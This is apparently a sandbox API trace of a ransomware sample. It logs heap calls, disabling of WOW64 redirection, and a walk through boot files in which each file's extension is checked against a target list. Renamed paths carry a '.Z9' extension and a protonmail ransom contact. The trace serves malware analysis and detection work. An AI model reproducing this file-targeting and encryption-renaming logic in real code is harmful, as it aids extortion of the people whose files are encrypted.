	[0193.197] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x3fd3080 | out: hHeap=0x750000) returned 1
	[0193.199] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x3fd3080 | out: hHeap=0x750000) returned 1
	[0193.201] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x3fd3080 | out: hHeap=0x750000) returned 1
	[0193.204] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x3fd3080 | out: hHeap=0x750000) returned 1
	[0193.206] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x3fd3080 | out: hHeap=0x750000) returned 1
	[0193.208] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x3fd3080 | out: hHeap=0x750000) returned 1
	[0193.210] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x3fd3080 | out: hHeap=0x750000) returned 1
	[0193.212] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x3fd3080 | out: hHeap=0x750000) returned 1
	[0193.214] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x3fd3080 | out: hHeap=0x750000) returned 1

Thread:
	id = 95
	os_tid = 0xf50

	[0188.168] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x10000) returned 0x3982cb8
	[0188.168] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x10000) returned 0x3992cc0
	[0188.169] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x10) returned 0x7b2478
	[0188.169] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x6) returned 0x7a5970
	[0188.169] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x10) returned 0x7b25c8
	[0188.169] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x100000) returned 0x3b42020
	[0188.172] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x10) returned 0x7b25f8
	[0188.172] RtlReAllocateHeap (Heap=0x750000, Flags=0x0, Ptr=0x7b25f8, Size=0x20) returned 0x78dda0
	[0188.172] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x10) returned 0x7b25f8
	[0188.172] RtlReAllocateHeap (Heap=0x750000, Flags=0x0, Ptr=0x7b25f8, Size=0x20) returned 0x78dd78
	[0188.172] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77030000
	[0188.172] GetProcAddress (hModule=0x77030000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x77046b30
	[0188.172] Wow64DisableWow64FsRedirection (in: OldValue=0x30eff50 | out: OldValue=0x30eff50*=0x0) returned 1
	[0188.172] lstrlenW (lpString="kernel32.dll") returned 12
	[0188.172] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x78dda0 | out: hHeap=0x750000) returned 1
	[0188.172] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0188.172] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x78dd78 | out: hHeap=0x750000) returned 1
	[0188.172] Sleep (dwMilliseconds=0x64) 
	[0188.487] lstrcmpiW (lpString1=".MARKER", lpString2=".Z9") returned -1
	[0188.487] lstrlenW (lpString="$WINRE_BACKUP_PARTITION.MARKER") returned 30
	[0188.487] CreateFileW (lpFileName="C:\\$WINRE_BACKUP_PARTITION.MARKER" (normalized: "c:\\$winre_backup_partition.marker"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304
	[0188.490] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x30eff14 | out: lpFileSize=0x30eff14*=0) returned 1
	[0188.490] CloseHandle (hObject=0x304) returned 1
	[0188.490] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33
	[0188.490] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33
	[0188.490] lstrlenW (lpString=".doc") returned 4
	[0188.490] lstrcmpiW (lpString1=".doc", lpString2="RKER") returned -1
	[0188.490] lstrlenW (lpString=".docx") returned 5
	[0188.490] lstrcmpiW (lpString1=".docx", lpString2="ARKER") returned -1
	[0188.490] lstrlenW (lpString=".pdf") returned 4
	[0188.490] lstrcmpiW (lpString1=".pdf", lpString2="RKER") returned -1
	[0188.490] lstrlenW (lpString=".xls") returned 4
	[0188.490] lstrcmpiW (lpString1=".xls", lpString2="RKER") returned -1
	[0188.490] lstrlenW (lpString=".xlsx") returned 5
	[0188.490] lstrcmpiW (lpString1=".xlsx", lpString2="ARKER") returned -1
	[0188.490] lstrlenW (lpString=".ppt") returned 4
	[0188.490] lstrcmpiW (lpString1=".ppt", lpString2="RKER") returned -1
	[0188.490] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33
	[0188.490] lstrlenW (lpString=".zip") returned 4
	[0188.490] lstrcmpiW (lpString1=".zip", lpString2="RKER") returned -1
	[0188.490] lstrlenW (lpString=".rar") returned 4
	[0188.491] lstrcmpiW (lpString1=".rar", lpString2="RKER") returned -1
	[0188.491] lstrlenW (lpString=".bz2") returned 4
	[0188.491] lstrcmpiW (lpString1=".bz2", lpString2="RKER") returned -1
	[0188.491] lstrlenW (lpString=".7z") returned 3
	[0188.491] lstrcmpiW (lpString1=".7z", lpString2="KER") returned -1
	[0188.491] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33
	[0188.491] lstrlenW (lpString=".dbf") returned 4
	[0188.491] lstrcmpiW (lpString1=".dbf", lpString2="RKER") returned -1
	[0188.491] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33
	[0188.491] lstrlenW (lpString=".1cd") returned 4
	[0188.491] lstrcmpiW (lpString1=".1cd", lpString2="RKER") returned -1
	[0188.491] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33
	[0188.491] lstrlenW (lpString=".jpg") returned 4
	[0188.491] lstrcmpiW (lpString1=".jpg", lpString2="RKER") returned -1
	[0188.491] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33
	[0188.491] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33
	[0188.491] lstrlenW (lpString=".doc") returned 4
	[0188.491] lstrcmpiW (lpString1=".doc", lpString2="RKER") returned -1
	[0188.491] lstrlenW (lpString=".docx") returned 5
	[0188.491] lstrcmpiW (lpString1=".docx", lpString2="ARKER") returned -1
	[0188.491] lstrlenW (lpString=".pdf") returned 4
	[0188.491] lstrcmpiW (lpString1=".pdf", lpString2="RKER") returned -1
	[0188.491] lstrlenW (lpString=".xls") returned 4
	[0188.491] lstrcmpiW (lpString1=".xls", lpString2="RKER") returned -1
	[0188.491] lstrlenW (lpString=".xlsx") returned 5
	[0188.491] lstrcmpiW (lpString1=".xlsx", lpString2="ARKER") returned -1
	[0188.491] lstrlenW (lpString=".ppt") returned 4
	[0188.491] lstrcmpiW (lpString1=".ppt", lpString2="RKER") returned -1
	[0188.491] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33
	[0188.491] lstrlenW (lpString=".zip") returned 4
	[0188.491] lstrcmpiW (lpString1=".zip", lpString2="RKER") returned -1
	[0188.491] lstrlenW (lpString=".rar") returned 4
	[0188.491] lstrcmpiW (lpString1=".rar", lpString2="RKER") returned -1
	[0188.491] lstrlenW (lpString=".bz2") returned 4
	[0188.491] lstrcmpiW (lpString1=".bz2", lpString2="RKER") returned -1
	[0188.491] lstrlenW (lpString=".7z") returned 3
	[0188.492] lstrcmpiW (lpString1=".7z", lpString2="KER") returned -1
	[0188.492] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33
	[0188.492] lstrlenW (lpString=".dbf") returned 4
	[0188.492] lstrcmpiW (lpString1=".dbf", lpString2="RKER") returned -1
	[0188.492] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33
	[0188.492] lstrlenW (lpString=".1cd") returned 4
	[0188.492] lstrcmpiW (lpString1=".1cd", lpString2="RKER") returned -1
	[0188.492] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33
	[0188.492] lstrlenW (lpString=".jpg") returned 4
	[0188.492] lstrcmpiW (lpString1=".jpg", lpString2="RKER") returned -1
	[0188.492] Sleep (dwMilliseconds=0x64) 
	[0188.718] lstrlenW (lpString="BCD") returned 3
	[0188.718] CreateFileW (lpFileName="C:\\Boot\\BCD" (normalized: "c:\\boot\\bcd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0188.718] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0188.718] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0188.718] lstrlenW (lpString=".doc") returned 4
	[0188.718] lstrcmpiW (lpString1=".doc", lpString2="\\BCD") returned -1
	[0188.718] lstrlenW (lpString=".docx") returned 5
	[0188.718] lstrcmpiW (lpString1=".docx", lpString2="t\\BCD") returned -1
	[0188.718] lstrlenW (lpString=".pdf") returned 4
	[0188.718] lstrcmpiW (lpString1=".pdf", lpString2="\\BCD") returned -1
	[0188.718] lstrlenW (lpString=".xls") returned 4
	[0188.718] lstrcmpiW (lpString1=".xls", lpString2="\\BCD") returned -1
	[0188.718] lstrlenW (lpString=".xlsx") returned 5
	[0188.718] lstrcmpiW (lpString1=".xlsx", lpString2="t\\BCD") returned -1
	[0188.719] lstrlenW (lpString=".ppt") returned 4
	[0188.719] lstrcmpiW (lpString1=".ppt", lpString2="\\BCD") returned -1
	[0188.719] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0188.719] lstrlenW (lpString=".zip") returned 4
	[0188.719] lstrcmpiW (lpString1=".zip", lpString2="\\BCD") returned -1
	[0188.719] lstrlenW (lpString=".rar") returned 4
	[0188.719] lstrcmpiW (lpString1=".rar", lpString2="\\BCD") returned -1
	[0188.719] lstrlenW (lpString=".bz2") returned 4
	[0188.719] lstrcmpiW (lpString1=".bz2", lpString2="\\BCD") returned -1
	[0188.719] lstrlenW (lpString=".7z") returned 3
	[0188.719] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1
	[0188.719] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0188.719] lstrlenW (lpString=".dbf") returned 4
	[0188.719] lstrcmpiW (lpString1=".dbf", lpString2="\\BCD") returned -1
	[0188.719] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0188.719] lstrlenW (lpString=".1cd") returned 4
	[0188.719] lstrcmpiW (lpString1=".1cd", lpString2="\\BCD") returned -1
	[0188.719] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0188.719] lstrlenW (lpString=".jpg") returned 4
	[0188.719] lstrcmpiW (lpString1=".jpg", lpString2="\\BCD") returned -1
	[0188.719] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0188.719] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0188.719] lstrlenW (lpString=".doc") returned 4
	[0188.719] lstrcmpiW (lpString1=".doc", lpString2="\\BCD") returned -1
	[0188.719] lstrlenW (lpString=".docx") returned 5
	[0188.719] lstrcmpiW (lpString1=".docx", lpString2="t\\BCD") returned -1
	[0188.719] lstrlenW (lpString=".pdf") returned 4
	[0188.719] lstrcmpiW (lpString1=".pdf", lpString2="\\BCD") returned -1
	[0188.719] lstrlenW (lpString=".xls") returned 4
	[0188.719] lstrcmpiW (lpString1=".xls", lpString2="\\BCD") returned -1
	[0188.719] lstrlenW (lpString=".xlsx") returned 5
	[0188.719] lstrcmpiW (lpString1=".xlsx", lpString2="t\\BCD") returned -1
	[0188.719] lstrlenW (lpString=".ppt") returned 4
	[0188.720] lstrcmpiW (lpString1=".ppt", lpString2="\\BCD") returned -1
	[0188.720] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0188.720] lstrlenW (lpString=".zip") returned 4
	[0188.720] lstrcmpiW (lpString1=".zip", lpString2="\\BCD") returned -1
	[0188.720] lstrlenW (lpString=".rar") returned 4
	[0188.720] lstrcmpiW (lpString1=".rar", lpString2="\\BCD") returned -1
	[0188.720] lstrlenW (lpString=".bz2") returned 4
	[0188.720] lstrcmpiW (lpString1=".bz2", lpString2="\\BCD") returned -1
	[0188.720] lstrlenW (lpString=".7z") returned 3
	[0188.720] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1
	[0188.720] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0188.720] lstrlenW (lpString=".dbf") returned 4
	[0188.720] lstrcmpiW (lpString1=".dbf", lpString2="\\BCD") returned -1
	[0188.720] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0188.720] lstrlenW (lpString=".1cd") returned 4
	[0188.720] lstrcmpiW (lpString1=".1cd", lpString2="\\BCD") returned -1
	[0188.720] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0188.720] lstrlenW (lpString=".jpg") returned 4
	[0188.720] lstrcmpiW (lpString1=".jpg", lpString2="\\BCD") returned -1
	[0188.720] lstrcmpiW (lpString1=".LOG1", lpString2=".Z9") returned -1
	[0188.720] lstrlenW (lpString="BCD.LOG1") returned 8
	[0188.720] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG1" (normalized: "c:\\boot\\bcd.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0188.721] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x30eff14 | out: lpFileSize=0x30eff14*=0) returned 1
	[0188.721] CloseHandle (hObject=0x330) returned 1
	[0188.721] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0188.721] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0188.721] lstrlenW (lpString=".doc") returned 4
	[0188.721] lstrcmpiW (lpString1=".doc", lpString2="LOG1") returned -1
	[0188.721] lstrlenW (lpString=".docx") returned 5
	[0188.721] lstrcmpiW (lpString1=".docx", lpString2=".LOG1") returned -1
	[0188.721] lstrlenW (lpString=".pdf") returned 4
	[0188.721] lstrcmpiW (lpString1=".pdf", lpString2="LOG1") returned -1
	[0188.721] lstrlenW (lpString=".xls") returned 4
	[0188.721] lstrcmpiW (lpString1=".xls", lpString2="LOG1") returned -1
	[0188.721] lstrlenW (lpString=".xlsx") returned 5
	[0188.721] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG1") returned 1
	[0188.721] lstrlenW (lpString=".ppt") returned 4
	[0188.721] lstrcmpiW (lpString1=".ppt", lpString2="LOG1") returned -1
	[0188.721] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0188.721] lstrlenW (lpString=".zip") returned 4
	[0188.721] lstrcmpiW (lpString1=".zip", lpString2="LOG1") returned -1
	[0188.722] lstrlenW (lpString=".rar") returned 4
	[0188.722] lstrcmpiW (lpString1=".rar", lpString2="LOG1") returned -1
	[0188.722] lstrlenW (lpString=".bz2") returned 4
	[0188.722] lstrcmpiW (lpString1=".bz2", lpString2="LOG1") returned -1
	[0188.722] lstrlenW (lpString=".7z") returned 3
	[0188.722] lstrcmpiW (lpString1=".7z", lpString2="OG1") returned -1
	[0188.722] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0188.722] lstrlenW (lpString=".dbf") returned 4
	[0188.722] lstrcmpiW (lpString1=".dbf", lpString2="LOG1") returned -1
	[0188.722] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0188.722] lstrlenW (lpString=".1cd") returned 4
	[0188.722] lstrcmpiW (lpString1=".1cd", lpString2="LOG1") returned -1
	[0188.722] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0188.722] lstrlenW (lpString=".jpg") returned 4
	[0188.722] lstrcmpiW (lpString1=".jpg", lpString2="LOG1") returned -1
	[0188.722] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0188.722] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0188.722] lstrlenW (lpString=".doc") returned 4
	[0188.722] lstrcmpiW (lpString1=".doc", lpString2="LOG1") returned -1
	[0188.722] lstrlenW (lpString=".docx") returned 5
	[0188.722] lstrcmpiW (lpString1=".docx", lpString2=".LOG1") returned -1
	[0188.722] lstrlenW (lpString=".pdf") returned 4
	[0188.722] lstrcmpiW (lpString1=".pdf", lpString2="LOG1") returned -1
	[0188.722] lstrlenW (lpString=".xls") returned 4
	[0188.722] lstrcmpiW (lpString1=".xls", lpString2="LOG1") returned -1
	[0188.722] lstrlenW (lpString=".xlsx") returned 5
	[0188.722] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG1") returned 1
	[0188.722] lstrlenW (lpString=".ppt") returned 4
	[0188.722] lstrcmpiW (lpString1=".ppt", lpString2="LOG1") returned -1
	[0188.722] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0188.722] lstrlenW (lpString=".zip") returned 4
	[0188.722] lstrcmpiW (lpString1=".zip", lpString2="LOG1") returned -1
	[0188.722] lstrlenW (lpString=".rar") returned 4
	[0188.722] lstrcmpiW (lpString1=".rar", lpString2="LOG1") returned -1
	[0188.723] lstrlenW (lpString=".bz2") returned 4
	[0188.723] lstrcmpiW (lpString1=".bz2", lpString2="LOG1") returned -1
	[0188.723] lstrlenW (lpString=".7z") returned 3
	[0188.723] lstrcmpiW (lpString1=".7z", lpString2="OG1") returned -1
	[0188.723] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0188.723] lstrlenW (lpString=".dbf") returned 4
	[0188.723] lstrcmpiW (lpString1=".dbf", lpString2="LOG1") returned -1
	[0188.723] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0188.723] lstrlenW (lpString=".1cd") returned 4
	[0188.723] lstrcmpiW (lpString1=".1cd", lpString2="LOG1") returned -1
	[0188.723] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0188.723] lstrlenW (lpString=".jpg") returned 4
	[0188.723] lstrcmpiW (lpString1=".jpg", lpString2="LOG1") returned -1
	[0188.723] lstrcmpiW (lpString1=".LOG2", lpString2=".Z9") returned -1
	[0188.723] lstrlenW (lpString="BCD.LOG2") returned 8
	[0188.723] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG2" (normalized: "c:\\boot\\bcd.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0188.724] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x30eff14 | out: lpFileSize=0x30eff14*=0) returned 1
	[0188.724] CloseHandle (hObject=0x330) returned 1
	[0188.724] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0188.724] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0188.724] lstrlenW (lpString=".doc") returned 4
	[0188.724] lstrcmpiW (lpString1=".doc", lpString2="LOG2") returned -1
	[0188.724] lstrlenW (lpString=".docx") returned 5
	[0188.724] lstrcmpiW (lpString1=".docx", lpString2=".LOG2") returned -1
	[0188.724] lstrlenW (lpString=".pdf") returned 4
	[0188.724] lstrcmpiW (lpString1=".pdf", lpString2="LOG2") returned -1
	[0188.724] lstrlenW (lpString=".xls") returned 4
	[0188.724] lstrcmpiW (lpString1=".xls", lpString2="LOG2") returned -1
	[0188.724] lstrlenW (lpString=".xlsx") returned 5
	[0188.724] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG2") returned 1
	[0188.724] lstrlenW (lpString=".ppt") returned 4
	[0188.724] lstrcmpiW (lpString1=".ppt", lpString2="LOG2") returned -1
	[0188.724] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0188.724] lstrlenW (lpString=".zip") returned 4
	[0188.724] lstrcmpiW (lpString1=".zip", lpString2="LOG2") returned -1
	[0188.725] lstrlenW (lpString=".rar") returned 4
	[0188.725] lstrcmpiW (lpString1=".rar", lpString2="LOG2") returned -1
	[0188.725] lstrlenW (lpString=".bz2") returned 4
	[0188.725] lstrcmpiW (lpString1=".bz2", lpString2="LOG2") returned -1
	[0188.725] lstrlenW (lpString=".7z") returned 3
	[0188.725] lstrcmpiW (lpString1=".7z", lpString2="OG2") returned -1
	[0188.725] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0188.725] lstrlenW (lpString=".dbf") returned 4
	[0188.725] lstrcmpiW (lpString1=".dbf", lpString2="LOG2") returned -1
	[0188.725] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0188.725] lstrlenW (lpString=".1cd") returned 4
	[0188.725] lstrcmpiW (lpString1=".1cd", lpString2="LOG2") returned -1
	[0188.725] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0188.725] lstrlenW (lpString=".jpg") returned 4
	[0188.725] lstrcmpiW (lpString1=".jpg", lpString2="LOG2") returned -1
	[0188.725] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0188.725] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0188.725] lstrlenW (lpString=".doc") returned 4
	[0188.725] lstrcmpiW (lpString1=".doc", lpString2="LOG2") returned -1
	[0188.725] lstrlenW (lpString=".docx") returned 5
	[0188.725] lstrcmpiW (lpString1=".docx", lpString2=".LOG2") returned -1
	[0188.725] lstrlenW (lpString=".pdf") returned 4
	[0188.725] lstrcmpiW (lpString1=".pdf", lpString2="LOG2") returned -1
	[0188.725] lstrlenW (lpString=".xls") returned 4
	[0188.725] lstrcmpiW (lpString1=".xls", lpString2="LOG2") returned -1
	[0188.725] lstrlenW (lpString=".xlsx") returned 5
	[0188.725] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG2") returned 1
	[0188.725] lstrlenW (lpString=".ppt") returned 4
	[0188.726] lstrcmpiW (lpString1=".ppt", lpString2="LOG2") returned -1
	[0188.726] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0188.726] lstrlenW (lpString=".zip") returned 4
	[0188.726] lstrcmpiW (lpString1=".zip", lpString2="LOG2") returned -1
	[0188.726] lstrlenW (lpString=".rar") returned 4
	[0188.726] lstrcmpiW (lpString1=".rar", lpString2="LOG2") returned -1
	[0188.726] lstrlenW (lpString=".bz2") returned 4
	[0188.726] lstrcmpiW (lpString1=".bz2", lpString2="LOG2") returned -1
	[0188.726] lstrlenW (lpString=".7z") returned 3
	[0188.726] lstrcmpiW (lpString1=".7z", lpString2="OG2") returned -1
	[0188.726] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0188.726] lstrlenW (lpString=".dbf") returned 4
	[0188.726] lstrcmpiW (lpString1=".dbf", lpString2="LOG2") returned -1
	[0188.726] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0188.726] lstrlenW (lpString=".1cd") returned 4
	[0188.726] lstrcmpiW (lpString1=".1cd", lpString2="LOG2") returned -1
	[0188.726] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0188.726] lstrlenW (lpString=".jpg") returned 4
	[0188.726] lstrcmpiW (lpString1=".jpg", lpString2="LOG2") returned -1
	[0188.726] lstrcmpiW (lpString1=".mui", lpString2=".Z9") returned -1
	[0188.726] lstrlenW (lpString="bootmgr.exe.mui") returned 15
	[0188.726] CreateFileW (lpFileName="C:\\Boot\\bg-BG\\bootmgr.exe.mui" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0188.727] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x30eff14 | out: lpFileSize=0x30eff14*=77664) returned 1
	[0188.727] CloseHandle (hObject=0x330) returned 1
	[0188.727] GetFileAttributesW (lpFileName="C:\\Boot\\bg-BG\\bootmgr.exe.mui" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui")) returned 0x20
	[0188.727] GetFileAttributesW (lpFileName="C:\\Boot\\bg-BG\\bootmgr.exe.mui.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0188.727] CreateFileW (lpFileName="C:\\Boot\\bg-BG\\bootmgr.exe.mui" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0188.727] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29
	[0188.727] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29
	[0188.727] lstrlenW (lpString=".doc") returned 4
	[0188.727] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0188.727] lstrlenW (lpString=".docx") returned 5
	[0188.727] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0188.727] lstrlenW (lpString=".pdf") returned 4
	[0188.727] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0188.727] lstrlenW (lpString=".xls") returned 4
	[0188.727] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0188.727] lstrlenW (lpString=".xlsx") returned 5
	[0188.727] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0188.727] lstrlenW (lpString=".ppt") returned 4
	[0188.727] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0188.728] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29
	[0188.728] lstrlenW (lpString=".zip") returned 4
	[0188.728] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0188.728] lstrlenW (lpString=".rar") returned 4
	[0188.728] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0188.728] lstrlenW (lpString=".bz2") returned 4
	[0188.728] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0188.728] lstrlenW (lpString=".7z") returned 3
	[0188.728] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0188.728] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29
	[0188.728] lstrlenW (lpString=".dbf") returned 4
	[0188.728] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0188.728] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29
	[0188.728] lstrlenW (lpString=".1cd") returned 4
	[0188.728] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0188.728] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29
	[0188.728] lstrlenW (lpString=".jpg") returned 4
	[0188.728] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0188.728] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29
	[0188.728] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29
	[0188.728] lstrlenW (lpString=".doc") returned 4
	[0188.728] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0188.728] lstrlenW (lpString=".docx") returned 5
	[0188.728] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0188.728] lstrlenW (lpString=".pdf") returned 4
	[0188.728] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0188.728] lstrlenW (lpString=".xls") returned 4
	[0188.728] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0188.728] lstrlenW (lpString=".xlsx") returned 5
	[0188.728] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0188.728] lstrlenW (lpString=".ppt") returned 4
	[0188.728] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0188.728] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29
	[0188.728] lstrlenW (lpString=".zip") returned 4
	[0188.729] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0188.729] lstrlenW (lpString=".rar") returned 4
	[0188.729] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0188.729] lstrlenW (lpString=".bz2") returned 4
	[0188.729] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0188.729] lstrlenW (lpString=".7z") returned 3
	[0188.729] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0188.729] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29
	[0188.729] lstrlenW (lpString=".dbf") returned 4
	[0188.729] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0188.729] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29
	[0188.729] lstrlenW (lpString=".1cd") returned 4
	[0188.729] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0188.729] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29
	[0188.729] lstrlenW (lpString=".jpg") returned 4
